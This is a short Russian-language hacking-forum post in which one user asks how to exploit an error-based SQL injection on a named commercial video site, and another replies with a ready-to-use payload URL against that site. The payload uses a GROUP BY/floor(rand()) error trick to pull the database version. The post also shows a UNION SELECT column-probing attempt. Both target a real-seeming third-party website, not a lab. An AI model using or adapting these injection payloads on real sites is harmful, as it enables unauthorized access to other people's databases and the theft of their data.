Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от fl00der

Чета не догнал я, как тут крутить, казалось бы, SQLi с выводом ошибок.
http://injoyv[GOOGLE fuck]ideos.com/product.php?proid=85'
Делал GROUP+BY'ем, ну выдавил, что 3 колонки, оно не подошло, ладно, думаю, пофиг, стал нянчить SELECT'ом и вот до чего дошел:

Код:

UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56

При этом значении выдает не несоответствие числа колонок, а другое:
Причем при подстановке +--+ в конец ситуация меняется.
Че это и как быть дальше???

http://injoyvideos.com/product.php?proid=-85%20or%201%20group%20by%20concat((select%20versio n()),floor(rand(0)*2))%20having%20min(0)%20or%201% 20--%201

Надеюсь ты знаешь, где именно пробелы убрать?